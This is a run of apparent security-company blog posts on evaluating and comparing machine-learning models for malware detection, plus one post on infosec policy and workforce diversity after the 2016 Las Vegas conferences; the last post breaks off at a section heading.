Machine learning is a fashionable buzzword right now in infosec, and is often referenced as the key to next-gen, signature-less security. But along with all of the hype and buzz, there also is a mind-blowing amount of misunderstanding surrounding machine learning in infosec. Machine learning isn't a silver bullet for all information security problems, and in fact can be detrimental if misinterpreted. For example, company X claims to block 99% of all malware, or company Y's intrusion detection will stop 99% of all attacks, yet customers see an overwhelming number of false positives.  Where’s the disconnect?  What do the accuracy numbers really mean? In fact, these simple statistics lose meaning without the proper context. However, many in the security community lack the basic fundamentals of machine learning, limiting the ability to separate the relevant and credible insights from the noise.  

To help bridge this gap, we're writing a series of machine learning-related blog posts to cut through the fluff and simplify the relevant fundamentals of machine learning for operationalization.  In this first post, we provide a basic description of machine learning models. Infosec is ripe for a multitude of machine learning applications, but we’ll focus our overview on classifying malware, using this application to demonstrate how to compare models, train and test data, and how to interpret results. In subsequent blog posts, we'll compare the most prominent machine learning models for malware classification, and highlight a model framework that we believe works well for the malware-hunting paradigm on a lightweight endpoint sensor. While this post is focused on malware classification, the machine learning fundamentals presented are applicable across all domains of machine learning.

What is Machine Learning?

In general, machine learning is about training a computer to make decisions.  The computer learns to make decisions by observing patterns or structures in a dataset.  In machine learning parlance, the output of training is called a model, which is an imperfect generalization of the dataset, and is used to make predictions on new data.  Machine learning has many advantages, automating many aspects of data munging and analysis at scale. For example, executables are either benign or malicious, but it’s impossible to manually review all of them. A corporate system may contain millions of files that require classification and few, if any, companies have enough staff to manually inspect each file. Machine learning is perfect for this challenge. A machine learning model can classify millions of files in minutes and can generalize better than manually created rules and signatures. 

Supervised learning models are trained with examples to answer precisely these kinds of questions, such as, “is this file malicious?”. In this supervised learning setting, the training set may consist of two million Windows executables consisting of one million malware samples and one million benign samples.  A machine will observe these samples and learn how to differentiate between benign and malicious files in order to answer the question.  Typically, this decision is in the form of a score such as a single value between 0 and 1.  The figure below demonstrates the creation and use of a supervised model.

model.png

 

The model’s scores are converted to yes/no answers by way of a threshold.  For example, if our scores ranged from 0 to 1, we may want to set a threshold of 0.5.  Anything less than 0.5 is benign (“not malicious”), and everything equal or greater than 0.5 is malware (“is malicious”).  However, models are rarely perfect (discussed later) and we may want to tweak this threshold for a more acceptable performance.  For instance, perhaps missing malware is far worse than labeling a benign sample as malware.   We might set the threshold lower, say 0.3.  Or, maybe mislabeling in general is very bad, but our use case will allow for outputting unknown labels.  In this case we can set two thresholds.  We could choose to set everything below 0.3 as benign, everything above 0.7 as malicious, and everything else is unknown. A visualization of this is below. The important point here is that there is no one-size-fits-all solution, and it is essential to understand your data well and adjust models based on the use case and data constraints.

benign.png

How do we evaluate models?

Metrics are necessary to compare models to determine which model might be most appropriate for a given application. The most obvious metric is accuracy, or the percentage of the decisions that your model gets right after you select appropriate thresholds on the model score. However, accuracy can be very misleading. For example, if 99.9% of your data is benign, then just blindly labeling everything as benign (no work required!) will achieve 99.9% accuracy. But obviously, that's not a useful model!

Results should be reported in terms of false positive rate (FPR), true positive rate (TPR), and false negative rate (FNR). FPR measures the rate in which we label benign samples as malicious.   An FPR of 1/10 would mean that we classify 1 in 10 (or 10%) of all benign samples incorrectly as malicious. This number should be as close to 0 as possible.  TPR measures the rate in which we label malicious samples as malicious.  A TPR of 8/10 would mean that we classify 8 in 10 (or 80%) of all malicious samples as malicious.  We want this number to be as close as possible to 1.  FNR measures the rate in which we label malicious samples as benign and is the opposite of TPR (equal to 1-TPR).  A 9/10 (9 in 10) TPR is the same as 1-9/10 or a 1/10 (1 in 10) FNR.  Like FPR, we want this number to be as close to 0 as possible.

Using these three measurements, our results don't look so great for the useless model above (always labeling a sample benign) evaluated only on benign samples.  Our FPR rate is 0% (perfect!), but TPR is now 0%.  Since we never label anything as positive, we will not get any false positives.  But this also means we will never get a true positive, and while our accuracy may look great, our model is actually performing quite poorly.

This tradeoff between FPR and TPR can be seen explicitly in a model's receiver operating characteristic (ROC) curve.  A ROC curve for a given model shows the FPR / TPR tradeoff over all thresholds on the model’s score.

ROC.png

 

What FPR, TPR and FNR metrics really mean to a user greatly depends on scale.  Let's say that we have a FPR of 0.001 (1/1000).  Sounds great, right?  Well, a Windows 7 x64 box has approximately 50,000 executables on a given system. Let’s say you have 40,000 endpoints across your network. Absent any actions to rectify the false positives, this model would produce approximately two million false positives if applied to all Windows executables on all systems across your entire network!  If your workflow calls for even the most basic triage on alerts, which it should, this would be an inordinate amount of work.­­

Importance of Training and Testing Data

So is the key to good machine learning a good metric?  Nope! We also have to provide our learning stage with good training and testing data.  Imagine all of our training malware samples update the registry, but none of the benign samples do.  In this example, a model could generalize anything that touches the registry as malware, and anything that does not touch the registry is benign.  This, of course, is wrong and our model will fail miserably in the real world.  This example highlights a phenomena known as overtraining or overfitting and occurs when our model becomes too specific to our training set and does not generalize.  It also highlights a problem of bias, where our training/testing data over-represents a sub-population of the real-world data. For example, if the training data disproportionately is overpopulated with many samples from a small number of malware families, you may end up with a model that does a great job detecting new variants of those specific families but a lousy job detecting anything else.

Why is this important?  Overfitting and bias can lead to misleading performance.   Let's assume you are training your malware classification model on 5 families (benign + 4 different malware families).  Let's also assume that you computed FPR, TPR, and FNR on a different set of samples consisting of the same 5 families.  We'll also assume that your model is awesome and gets near perfect performance.  Sounds great, right?  Not so fast! What do you think will happen when you run this model in the real world and it’s forced to classify families of malware that it has never seen?  If your answer is "fail miserably" then you're probably correct.

Good performance metrics are not enough.  The training/testing data must represent and function in the real world if you expect similar runtime performance as the performance measured during test time.  

Acquiring Data

So where do you get good train and test data?  At Endgame we leverage a variety of sources ranging from public aggregators and corporate partnerships to our own globally distributed network of sensors. Not only do these sources provide a vast of amount of malicious samples, but they also aid in acquiring benign samples helping Endgame achieve a more diverse set of data.  All of this allows us to gather real world data to best train our classifiers.  However, your training data can never be perfect.  In the case of malware, samples are always changing (such as new obfuscation techniques) and new families of malware will be deployed.  To counteract this ever-evolving field, we must be diligent in collecting new data and retraining our models as often as possible. Without a constantly evolving model, we will have blinds spots and adversaries are sure to exploit them.  Yes, the game of cat and mouse still exists when we use machine learning!

Acquiring Labels

Now that your training/testing data is in the computer, we need to decide which samples are benign and which samples are malicious.  Unlabeled or poorly labeled data will certainly lead to unsuccessful models in the real world. Malware classification raises some interesting labeling problems ranging from the adversary use of benign tools for nefarious means to new, ever-evolving malware that may go undetected. 

• Unlabeled data.  Data acquired from a sensor is often unlabeled, and presents a serious problem for machine learning. Unlabeled binaries require human expertise to reverse engineer and manually label the data, which is an expensive operation that does not scale well to the size of the training set needed for model creation.  
• Incorrectly labeled data. Unfortunately, when classifying malware, the malware is often incorrectly labeled. Whether labeled by humans or machines, the necessary signatures may not be accessible or known, and therefore by default the malware is classified as benign. This will ultimately confuse the classifier and degrade performance in terms in FPR, TPR, and FNR.  
• Nebulous or inconsistent definitions. There is no consistent or concrete definition of what constitutes malware.  For example, it is common for attackers to use administrative tools to navigate a system post-attack. These tools aren't inherently malicious, but they often have the same capabilities as their malicious counterparts (e.g., the ability to send network commands, view processes, dump passwords) and are often used in attacks.  On the flip side, they are readily available and often used on a system administrator's machine.  Constantly calling them malicious may annoy those administrators enough to entirely ignore your model's output.  Decisions have to be made on what labels, and how much weight, to give these sorts of programs during training to ensure models generalize instead of overfit, and support business operations instead of becoming a nuisance. 

The table below summarizes some primary challenges of labeling and their solutions.

table.jpeg

Conclusion

So remember, machine learning is awesome, but it is not a silver bullet. While machine learning isn’t a silver bullet and signatures and IOCs are not going away, some of the most relevant, impactful advances in infosec will stem from machine learning. Machine learning will help leapfrog our detection and prevention capabilities so they can better compete with modern attacker techniques, but it requires a lot of effort to build something useful, and, like all approaches, will never be perfect.  Each iterative improvement to a machine learning model will be met with a novel technique by an adversary, which is why the models must evolve and adapt just as adversaries do.  

Evaluating the performance of machine learning models is complicated and results are often not as really, really, ridiculously good looking as the latest marketecture would have you believe. When it comes to security you should always be a skeptic and the same goes for machine learning. If you are not a domain expert just keep the following questions in mind the next time you are navigating the jungle of separating machine learning fact from fiction.

Check list.jpeg

We believe that machine learning has the potential to revolutionize the field of security.  However, it does have its limitations.  Knowing these limitations will allow you to deploy the best solutions, which will require both machine learning and conventional techniques such as signatures, rules, and technique-based detections. Now that you are armed with a high-level introduction to interpreting machine learning models, the next step is choosing the appropriate model. There are a myriad of tradeoffs to consider when selecting a model for a particular task and this will be the focus of our next post. Until then, keep this checklist handy and you too will be able to detect data science fact from the data science fiction.

In our previous blog, we reviewed some of the core fundamentals in machine learning with respect to malware classification.  We provided several criteria for properly evaluating a machine learning model to facilitate a more thorough understanding of its true performance.  In this piece, we dig deeper into the operationalization of machine learning, covering the basics of feature engineering and a few commonly used types of machine learning models. We conclude with a head-to-head comparison of several models to illustrate the various strengths and performance tradeoffs of these varied machine learning implementations. When operationalizing machine learning models, organizations should seek the solution that best balances their unique requirements, including query time, efficacy performance, and overall system performance impact.

Feature Engineering

Feature engineering is a major component of most machine learning tasks, and entails taking some raw piece of data, such as malware, and turning it into a meaningful vector of features.  Features are a numeric representation of the raw data that can be used natively by machine learning models. For this post, our feature vector is a vector of floats generated from a static Portable Executable (PE) file. We follow the feature extraction techniques outlined in Saxe and Berlin’s malware detection piece, and use these features for all classifiers.   The features include:

• Byte-level histogram
• Entropy measured in a sliding window across the PE file
• Information parsed from the PE file, including imports, exports, section names, section entropy, resources, etc.

Similar to previous research, these features are condensed into a vector of fixed length of 1,562 floats.   Turning a seemingly infinite list of imports, exports, etc. into a fixed length vector of floats may seem like an impossible task, but feature hashing makes this possible. Think of the vector of floats as a hash table, wherein a hashing function maps one or more features to a single feature that accumulates the values that correspond to those features.   This technique is quite common and is surprisingly effective. 

Models

Now that we have defined our features, it is time to select the models.  There are too many machine learning models for a complete review, so we focus on seven common models: naive Bayes, logistic regression, support vector machine, random forest classifier, gradient-boosted decision tree, k-nearest neighbor classifier, and a deep learning model. In our descriptions below, we explain how each model performs as they pertain to malware classification, although clearly they support many other use cases.

Naive Bayes

Naive Bayes is one of the most elementary machine learning models.  Naive Bayes crudely models the features of each class as having been generated randomly from some user-specified statistical distribution, like the Gaussian distribution.  Its name comes from its reliance on Bayes theorem with a naive assumption that all features are independent of one another.  Independence of features implies that the occurrence of one feature (e.g., entropy of the .text section) has no bearing on the value or occurrence of another feature (e.g., an import of FtpGetFile fromWinINet.dll).  It is termed naive since this assumption rarely holds true for all features in most applications (e.g., an import of FtpGetFile is correlated with an import of InternetOpen). Despite its simplicity, naive Bayes works surprisingly well in some real world problems such as spam filtering. 

Logistic Regression

Logistic regression (LR) is a model that learns a mapping from a vector of feature values to a number between 0 (benign) and 1 (malicious).  LR learns one coefficient for each element of a sample's feature vector, multiplying the value of each element by the corresponding coefficient, and summing up those products across all elements. LR then compresses that number to a value between 0 and 1 using a logistic function, and approximates from the features the target label (0=benign, 1=malicious) provided in the training set.

Support Vector Machine

A support vector machine (SVM) is a so-called max-margin classifier, of which we only consider a linear SVM.  Linear models seek a straight line that bisects malicious from benign samples in our feature space.  In turn, a linear SVM aims to find the fattest line/slab that separates malicious from benign. That is, of all slabs that could separate malicious features from benign features, SVM finds the one that occupies the most empty space between the malicious and benign classes.  This "fatness" objective provides a measure of robustness against new malware samples that may begin to encroach on the margin between malicious and benign samples.

Random Forest Classifier

A random forest classifier is a model that learns to partition the feature space using a committee of decision trees.  Each decision tree is trained to essentially play a game of "20 questions" to determine whether a sample's features represent a malicious or benign file. The number of questions and which questions to ask are learned by an algorithm. To provide good generalization without overfitting, each decision tree is trained only on a subset of the data and questions can be asked only from a subset of features (hence, "random").  Tens or even hundreds of decision trees of this type (hence, "forest") are bagged together in a single model, where the final model's output is a majority vote of each randomized decision tree in the forest.

Gradient-Boosted Decision Tree

Like the random forest classifier, a gradient-boosted decision tree (GBDT) combines the decision of many small decision trees.  In this case, however, the number of questions that can be asked about the features are restricted to a relatively small number (perhaps one to ten questions per tree).  From this initial tree, the model makes several errors, and in the next round (i.e., next decision tree), the algorithm focuses more attention on correcting errors from the previous round.  After tens or hundreds of rounds, a final determination is made by a weighted vote of all the trees.  

K-Nearest Neighbors (k-NN)

k-nearest neighbors (k-NN) is another extremely simple model.  The idea is that you can classify an object by its closest (or most similar) neighbors.  For example, in a database of ten million malware and benign samples, if a file's ten most similar matches in the database are all malware, then the object is probably malware.  This classifier is non-parametric (doesn't try to fit the data using some user-prescribed function) and completely lazy (requires no training!).  Nevertheless, in straightforward implementations one must search the entire dataset for every query, so memory and speed may be limiting factors for large datasets. A whole branch of research is devoted to approximating nearest neighbor search to improve query speed.

Deep Learning

Deep learning refers to a broad class of models defined by layers of neural networks.  Since this class is so broad, we briefly describe only the deep learning classifier in the malware detection paper previously referenced in the feature engineering section.  This model consists of 1 input layer, 2 fully-connected hidden layers, and an output classifier layer. Our implementation of the model differs slightly from that paper in an effort to improve model training convergence.  It should be noted that, like all models in this blog post, this deep learning model does not represent any company's next-gen malware product, and is intended only for coarse comparison with other model types. Since deep learning is a fast moving research field and may produce models of varying complexity and performance, it would be unfair and misleading to draw narrow product conclusions about this particular embodiment of deep learning.

Bake-Off Framework

With our features and models selected, it is now time to evaluate the performance of each model and explore whether there is a best-of-breed model for malware classification.

As we previously highlighted in our last post, one must take care when comparing models: "accuracy" alone doesn't tell the whole story.  We discussed several performance measures including false positive rate (FPR), false negative rate (FNR), true positive rate (TPR)—which depend on a user-specified threshold on a model's output—and the Receiver Operating Characteristic (ROC) which explicitly shows the tradeoff between FPR and TPR for all possible model score thresholds.  In what follows, we'll provide a summary of the model performance by reporting the area under the ROC curve (AUC), which can be thought of as the TPR averaged over all possible thresholds of the model score: it allows performance comparisons without first selecting an arbitrary threshold.  However, at the end of the day, a model must make an up/down decision on whether the sample is malicious, so in addition to AUC, we also report FPR and FNR with a threshold set at the "middle" value (0.5 for models that report scores between 0 and 1).

Since these metrics are not the only consideration for a particular task, we also compare model size (in memory) and speed (query rate measured in samples per second using wall clock time).  Wall clock time can be misleading due to differences in machine specs, threading, and current process loads. We attempt to mitigate these issues by testing all models on the same machine, under minimal load, and all speed measurements are done on a single thread.  

Experimental Setup

We implement our bake-off test in Python leveraging scikit-learn, Keras, and a custom NearestNeighbor algorithm. We train each of these models against the same dataset: a random sample of 2 million unique malicious and benign PE files. Unfortunately, in the real world data doesn’t follow a perfect Gaussian distribution, but rather is often quite skewed or imperfect. In this case, the breakdown of malicious to benign is 98/2, highlighting the class imbalance problem mentioned in the previous post. We attempt to maximize the effectiveness of each model during training by performing a grid search to determine ideal parameters for learning. Each machine learning algorithm has a set of hand tunable parameters that determine how the training is conducted. In an exhaustive grid search, the models are trained with multiple combinations of these parameters and the performance at each grid point is analyzed.

Performance measures were calculated using a training set and a testing set.  The models are trained on the training set, then performance measures are calculated on the disjoint testing set.  The disjointness is key: if our testing set were to contain items from our training set, then we would be cheating and the results would not represent the performance of our classifier in the real world.  However, it is possible to hand craft the training and testing set to achieve better (or worse) performance.  To remove any bias, we use a technique called cross-validation. Cross-validation creates several randomly-selected training/test splits and the performance metrics can be aggregated over all sets.  The number of training/test set divisions is called folds and we use ten folds in our experiments. 

Results

Results for the bake-off and interpretation of each model's performance are given in Table 1. False positive and false negative rates were calculated using a scoring threshold naively chosen halfway between benign and malicious.

Screen Shot 2016-07-31 at 9.11.44 PM.png

Table 1: AUC, FP/FN rate and Model Metrics for Classifiers

* Query time does not include time required to extract features

** Update: We used a default threshold for each model (0.5 on a scale of 0 to1) to report FP and FN rates. As with other details in each model, the threshold would be chosen in a real-world scenario to a fixed low FP rate with a corresponding trade-off in FN rate. AUC is an average measure of accuracy before thresholding, and is the most appropriate metric that should be used here to compare models.

AUC

The top performing models based on the average AUC are the boosted trees models (GBDT and Random Forest), as well as the Deep Learning and k-NN models, with scores hovering around 0.99. These models all had significantly smaller FP/FN rates than the next highest scoring models, SVM and Logistic Regression, which saw FP rates in the 20% range. A model that produces 1 FP for every 5 samples is far too many to be used operationally (imagine the alerts!). Naive Bayes performed poorly in this exercise likely due to a lack of feature independence between the malicious and benign labels. 

Model Size

The size of the final model has little to do with an ability to correctly classify samples, but it is extremely important for real-world implementation for classifying malware on a user’s machine. The bigger the model is on disk (or in memory), the more resources it consumes. Larger models are infeasible on an endpoint because of the negative impact on the host environment. Avoiding any degradation to the user’s experience on their machine is paramount for any successful endpoint solution.The results of the bake-off show three major classes of model sizes by impact of the host system.

Screen Shot 2016-08-01 at 6.24.42 AM.png

Figure 1 – Model AUC vs. Model Size on Disk

As Table 1 depicts, SVM, Logistic Regression, Naive Bayes, and GBDT models consumed less than 1MB, which would be considered small and have a negligible impact on a system.  After eliminating the models that had unreasonable average AUC scores, GBDT again outperforms the competition. 
Both Deep Learning and Random Forest performed well in the AUC test, but the size of the models on disk could have a negative impact. While 80-100MB is certainly not large, these models look like monsters compared to the tiny GBDT. Moreover, there is not a significant enough increase in AUC to warrant a model of this size.

Finally, k-NN weighed in at 10.5GB which is probably not a viable solution for an endpoint model. Remember: k-NN has no parameters, instead it requires maintaining the entire training set in order to perform a nearest neighbor search! With its high AUC average and low FP/FN rates, k-NN represents a potentially viable cloud-based classification solution.

Query Time 

An endpoint malware classifier must make snap decisions on whether a newly observed binary is malicious or benign. Failure to do so could result in the execution of a binary that wreaks havoc on an individual machine or an enterprise network. The ability for a model to quickly classify multiple binaries could be a major differentiator in our search for an ideal model. Figure 3 shows how many queries can be made against each model per second. This time does not include feature calculation, since that time is equivalent for each model.

Screen Shot 2016-08-01 at 6.25.36 AM.png

Figure 2 – Model AUC vs. Query per second

SVM and Logistic Regression outperformed the rest of the competition in this category. Both models only require a couple of addition and multiplication operations per feature at query time. GBDT and Random Forest models were in the next tier for speed. The query time of these models is dependent on the size and quantity of the decision trees they've trained. The number and size of those trees can be controlled during training and there is a tradeoff between speed and classification accuracy here. For our bake-off, both models were tuned for best classification accuracy, so it is nice to see those models still performing quickly. For each query, Deep Learning involves a series of multiple matrix multiplications for each query, and k-NN involves searching through the entire training set for each query, so it is not surprising to see that these models are slower.

Other Considerations

AUC, model size, and query time are all important metrics for evaluating machine learning models, but there are other areas that warrant consideration, too. For instance, training time is an important factor, particularly when your dataset is constantly evolving. Malware is a great example of this problem as new families and attack vectors are constantly developed. The ability to quickly retrain and evaluate models is crucial to keeping pace with the latest malicious techniques. Table 2 details each model’s initial training time and how the model can be updated.

Screen Shot 2016-07-31 at 9.17.37 PM.png

Table 2 – Model Training Time and Update Method

** We show GPU instead of CPU time due to default implementation and customary training method.  The CPU time would consist of nearly 16 hours (57K seconds!)

*** SVM and LR models could also be conveniently trained using a GPU.  However, default implementations of publicly available packages leverage CPU.

Final Thoughts

Machine learning has garnered a lot of hype in the security industry. However, machine learning models used in products may differ in architecture, implementation, training set quality, quantity and labeling (including the use of unlabeled samples!), feature sets, and thresholds.  None of the models analyzed represent any company's next-gen malware product, and are intended only for coarse comparison with other model types.   That said, one may coarsely compare results to get a sense of suitability to a particular application (e.g., endpoint vs. cloud-based malware detection).  

As the bake-off demonstrated, each model has strengths and weaknesses. GBDTs are an especially convenient model for real-time endpoint-based malware classification due to a good combination of high AUC, small size, and fast query speed. However, GBDTs require a complete retraining to update a model, which is the most time consuming training process of all tested algorithms. Both Random Forest and k-NN models performed nearly as well as GBDT (avg. AUC), but were significantly larger (in size on disk) models.  However, despite its size, k-NN requires no training at all! 

There is no magical formula for choosing the machine learning model that's right for your situation. Some of the considerations that we've discussed, like query time or training time, might not matter in other application areas. In some situations, you're trying to provide the best experience to the user of your model and so convenient metrics for optimization like AUC may not exist. When computing resources are so cheap and developer and data scientist time so expensive, it might be best to go with the model with which you have the most experience and best meets your operational requirements. The next step to building a great classifier involves handling corner cases, continually cleaning, managing, and improving your collected dataset, and verifying your results at every step of the way. In the next and final post in this three-part series, we'll consider some of the finer details of implementing a lightweight endpoint malware classifier using GBDTs.

"But the real magic comes when you take the expertise that you've got in security and you translate it and you rebuild it and you reform it. Don't be afraid to take the knowledge you have and make it accessible to vastly more people."Dan Kaminsky during the Black Hat 2016 keynote address.

Information sharing – snuck semi-discreetly into last year’s omnibus bill– is often portrayed as the policy community’s silver bullet for increased security. The policy community does not maintain a monopoly on silver bullets, as many buzz words and hype made the rounds during last week’s major infosec conferences – BSidesLV, Black Hat, and Defcon. Both communities’ propensity for bumper sticker solutions to extremely complex issues aside, there is something to be said for greater information sharing, not just of data as it is currently conceived, but more so of information sharing across communities. The combination of last week’s conferences, with President Obama’s recent directives and Cybersecurity National Action Plan (CNAP) priorities, all point back to the need for greater information sharing. However, we need to reframe the notion of information sharing such that the emphasis becomes one of laying the foundation for greater accessibility of inbound and outbound knowledge. That is, the industry requires a greater diversity of perspectives to compliment the current phenomenal domain expertise, and help overcome some of today’s greatest challenges in security.

Greater Integration of Strategic, Business, and Technical Thinkers

It’s a useful heuristic to gauge this notion of knowledge accessibility by looking at the Vegas conferences through the lens of two of CNAP’s major objectives. First, CNAP called for the creation of a Commission on enhancing cyber security that would represent a public/private partnership. At its core, the goal is to combine the top “strategic, business, and technical thinkers” to dramatically innovate the policy realm, very similar to the government’s outreach to the larger tech community, as epitomized by organizations like DIUx and collaborative projects such as Hack the Pentagon. However, last week there was a noticeably smaller number of policy panels. In fact, using the Black Hat categorization filter, there were only seven policy talks, the majority of which likely wouldn’t be considered policy topics by their authors or by policy wonks. Previous years had much greater engagement by the government or those in the policy community, as well as more direct content straight from the policy community. Each year, these talks tend to be very well attended, and this year was no exception. Jason Healey’s talk on technologies and policies for a defensible cyberspace was standing room only, AND people stuck around to ask questions instead of bolting as so often happens.

Why does this matter? Well, let’s look at one of the few policy-relevant talks last week, where two Congressmen told the Defcon attendees that it will likely take years for the government to begin to reach some initial resolutions on encryption. There is no guarantee that, even after that prolonged time, the solution will be something both technically and politically viable. The latest round of Wassenaar Arrangement discussions validates this, with many security experts finding it not only off the mark, but overall detrimental to international cybersecurity.  While the security industry certainly can’t speed up the legislative process, it can participate more to ensure that those proposals that do emerge are technically sound and viable. This requires greater interaction between the communities, including at these extremely technical conferences. Clearly, the technical aspect should continue to dominate, but there needs to be more than a few loosely categorized panels to truly stimulate the policy innovation so desperately needed.

Boost Cyber Workforce

Another objective of the CNAP is to boost the cyber workforce. Identified as the most critical skills gap, most solutions point to greater training and education as the key solution. As many acknowledge, this may be useful in the future, but does nothing for the current dearth of talented applicants. In contrast, many of the skills required actually can be acquired from other disciplines, for whom security does not seem like a natural career path. Look at data science, for example, where disciplines from electrical engineering to physics to materials science can provide the modeling and coding skills essential for today’s security data environment. To illustrate this point, Endgame was fortunate enough to have speakers at all three main conferences, covering a range of topics including machine learning, blockchain, control-flow integrity, and steganography. The speakers’ backgrounds, in turn, vary significantly and demonstrate the importance of the cross-pollination of ideas across disciplines, and the value of cross-functional teams. Unfortunately, looking at most security job reqs today, they remain so focused on specific security skills or languages that they omit the most important aspects of the security workforce – the ability to adapt, innovate, collaborate, and maintain strong technical acumen.

Not only can disciplinary diversity help augment the current workforce, but it requires a diversity of perspectives of all kinds, including various educational backgrounds, disciplines, and race.  This clearly also includes the overwhelming gender gap in the industry that seems to only be getting worse. Defcon created the most buzz in this area on social media in response to a hacker jeopardy category.  In contrast, there is some good news to report – BSidesLV had roughly 22% female speakers, and two of three keynotes were women. For any other industry, 22% would be nothing to cheer about, but given the declining current rate of roughly 8-11% women in the industry, 22% looks pretty good! Conference culture can go a long, long way toward helping impact this gender gap. From reducing the number of manels to increasing the number of female speakers to creating a conference culture that penalizes blatant harassment, the conferences are a key gauge of the state of the industry. Unfortunately, it appears to remain stagnant at best, or possibly trending in the wrong direction.

Biggest Bang for the Buck

In the keynote address at BlackHat, Dan Kaminsky stressed the need to make the knowledge of the industry more accessible, to translate it, and reform it. This is exactly what the industry needs to help tackle what is truly one of the most complex and dynamic geopolitical environments, which happens to coincide with one of the most impactful technological revolutions. Last week at BSidesLV, Black Hat, and Defcon, we witnessed some truly phenomenal technical breakthroughs. Unfortunately, they alone are not enough. The gap between policy and security, and the workforce gap also will continue to impact private and public security for the foreseeable future. Fortunately, there are simple and impactful solutions that exist to these two major gaps impacting the industry. My vote for this year’s biggest bang for the buck toward addressing one of these gaps is TiaraCon, a movement that caught on quickly and garnered funding to provide a safe and supportive hacking environment for all genders. Let’s hope other social movements similarly gain momentum, because the status quo will not be sustainable against today’s threat landscape.

In the first blog post of this series, we discussed considerations for measuring and understanding the performance of machine learning models in information security.  In the second post, we compared machine learning models at a fairly coarse level on a malware detection task, noting several considerations of performance for each model, including accuracy (as measured by AUC), training time, test time, model size, and more.  In this post, we'll depart slightly from the more academic discussion of our previous blog posts and discuss real-world implementation considerations. Specifically, we’ll build upon a related white paper and address operationalizing a malware classifier on an endpoint in the context of a hunt paradigm.

A Word about the Hunt

First, let's establish some context around malware detection in a hunt framework.  We define hunting as the proactive, methodical, and stealthy pursuit and elimination of never-before-seen adversaries in one's own environment.  Threat hunters establish a process to locate and understand a sentient adversary prior to eviction, without prematurely alerting the adversary to the hunter's presence.  A thorough understanding of the extent of an adversary's access is necessary for complete removal and future prevention of the adversary.  Prematurely alerting an adversary that he's being pursued can prompt him to destroy evidence of his exploitation, accelerate his timeframe for causing damage and stealing data, or cause him to burrow deeper and more carefully into systems than he otherwise might.  Therefore, the hunter uses stealthy tools to survey the enterprise, secures assets to prevent the adversary from moving laterally within networks, detects the adversary's TTPs, and surgically responds to adversary tactics without disruption to day-to-day operations, for example, by terminating a single injected thread used by the adversary.

Screen Shot 2016-08-15 at 11.37.49 AM.png

 

In this context, malware detection is part of a multi-stage detection framework that focuses particularly on discovering tools used by the adversary (e.g., backdoors used for persistence and C2).  Unlike the passive detection framework, malware detection in the hunt framework should have particularly rigid standards for stealth, including a low memory and CPU footprint, while still providing high detection rates with low false positive rates.  A low memory and CPU footprint allow an agent to hide amongst normal threads and processes, making it difficult for an adversary to detect or attempt to disable monitoring and protective measures.  For this purpose, we focus attention specifically to developing a robust, lightweight model that resides in-memory on an endpoint to support hunting as one part of a larger detection framework.  The task of this lightweight classifier is to determine the maliciousness of files that are:

1. Newly created or recently modified;
2. Started automatically at boot or other system or user event;
3. Executed (pre-execution);
4. Backing running processes;
5. Deemed suspicious by other automated hunting mechanisms; or
6. Specifically queried by the hunt team.

Lightweight Model Selection

Similar to results presented in the coarse model comparison experiment in our second post, and following additional, more detailed experiments, gradient boosted decision trees (GBDTs) offer a compelling set of metrics for lightweight malware detection for this hunt paradigm, including:

1. Small model size;
2. Extremely fast query time; and
3. Competitive performance as measured by AUC, allowing model thresholds that result in low false positive and false negative rates.

However, to improve performance of GBDTs and tune it for real-world deployment, one must do much more than train a model using off-the-shelf code on an ideally-labeled dataset.  We discuss several of these elements below.

From Data Collection to Model Deployment

The development of a lightweight malware classifier requires a large amount of diverse training data.  As discussed in the first blog post of this series, these data come from a variety of both public and private sources.  Complicating our initial description of data collection is that: (1) data must often be relabeled based on preliminary labels, and (2) most of these data are unlabeled—there's no definitive malicious/benign or family indicator to the collected samples.

Data Labels: It Just Seemed Too Easy, Didn't It?

Even when data come with labels, they may not be the labels one needs for a malware classifier.  For example, each label might consist of a family name (e.g., Virut), a malware category (e.g., trojan) or in a more unstructured setting, a free-form description of functionality from an incident response report, for example.  From these initial labels, one must produce a benign or malicious tag.  When curating labels, consider the following questions:  

• While a backdoor is malicious, what about legitimate network clients, servers and remote administration tools that may share similar capabilities?  
• Should advanced system reporting and manipulation tools, like Windows Sysinternals, that might be used for malicious purposes be considered malicious or benign?
• Are nuisance families like adware included in the training dataset? 

These questions speak to the larger issue of how to properly define and label "grayware" categories of binaries. Analyzing and understanding grayware categories to build a consensus are paramount for constructing an effective training dataset. 

Unlabeled Data: The Iceberg Beneath the Surface

Unlabeled data may be under-appreciated in the security data science field, but are often the most interesting data.  For example, among the unlabeled data may be a small fraction of bleeding-edge malware strains that have yet to be detected in the industry.  Although not always straightforward to do so, these unlabeled samples can still be leveraged using so-called semi-supervised machine learning methods.  Semi-supervised learning can be thought of as a generalization of supervised learning, in which both labeled and unlabeled samples are available for training models.  Most models, like many considered in our second post, do not natively support the use of unlabeled samples, but with care, they can be modified to take them into account.  We explain two such methods here.

First, semi-supervised methods exist that work in cooperation with a human analyst to very judiciously select "important" samples for hand-labeling, after which traditional supervised learning models can be used with an augmented labeled dataset.  This so-called active learning framework is designed to reduce the burden on a human analyst, while enhancing the model’s performance. Instead of inspecting and hand labeling all of the unlabeled samples, a machine learning model guides the human to select a small fraction of samples that would be the greatest benefit to the classifier.  For example, samples may be selected that provide the greatest gain in the volume of data label discovery. By asking the human to label a single sample, the labels for an entire tight cluster of samples can be inferred.  There are many similar, sometimes competing and sometimes complementary objectives outlined below:  

• Which unlabeled samples is the model most uncertain about?
• If labeled correctly, which sample will maximize information gain in my model?  
• Which unlabeled samples could represent new attack trends?

Malware samples selected by active learning can address one or more of these objectives while respecting the labeling bandwidth of human analysts.

A second category of semi-supervised methods leverages unlabeled data without human intervention.  One approach in this category involves hardening decision trees (and by extension, GBDTs), which are known to suffer from being overly sensitive in regions of the feature space where there are few labeled samples.  The objective is to produce a GBDT model that is regularized towards uncertainty (produce a score closer to 0.5 than 0.0 or 1.0) in regions of the feature space where there are many unlabeled samples, but few or no labeled samples.  Especially in the hunt paradigm, a model should have a very low false positive rate. This locally-feature-dependent regularization of the model can save a hunter from alert fatigue, which inherently eliminates the utility of the alerting system.

Other semi-supervised methods that do not require human intervention include label spreading and propagation which infer labels inductively—neighbors to a labeled sample should carry the same label—and self-training—where the model predicts labels for unlabeled samples, and the most confident decisions are added to the labeled training set for re-training.

Automation and Deployment

